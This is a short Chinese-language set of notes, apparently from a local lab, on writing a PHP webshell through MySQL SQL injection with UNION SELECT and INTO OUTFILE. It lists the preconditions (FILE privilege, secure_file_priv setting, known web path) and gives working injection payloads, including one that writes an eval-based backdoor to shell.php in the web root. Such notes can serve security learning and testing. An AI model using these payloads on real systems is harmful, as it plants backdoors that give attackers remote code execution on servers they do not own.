一、在ROOT用户下写入
1.知道网站绝对路径
2.数据库ROOT权限
3.secure_file_priv不为NULL,为空或为网站路径
查询mysql路径,猜测网站绝对路径
' union select 1 ,@@datadir --+-
查询当前用户
' union select 1 ,user() --+-
查询secure_file_priv
show global variables like '%secure%'
写入webshell
' union select 1 ,'<?php eval($_POST["pass"]); ?>' into outfile%20 'C:\\phpstudy_pro\\WWW\\shell.php' --+-
测试shell
二、在非ROOT用户下写入
创建一个非ROOT用户,权限如下
查询用户
写入webshell
测试webshell
三、取消FILE权限非ROOT用户下写入
查询用户
写入webshell,失败
修改file权限再尝试,成功
结论:
1.知道网站绝对路径
2.数据库file权限
3.secure_file_priv不为NULL,为空或为网站路径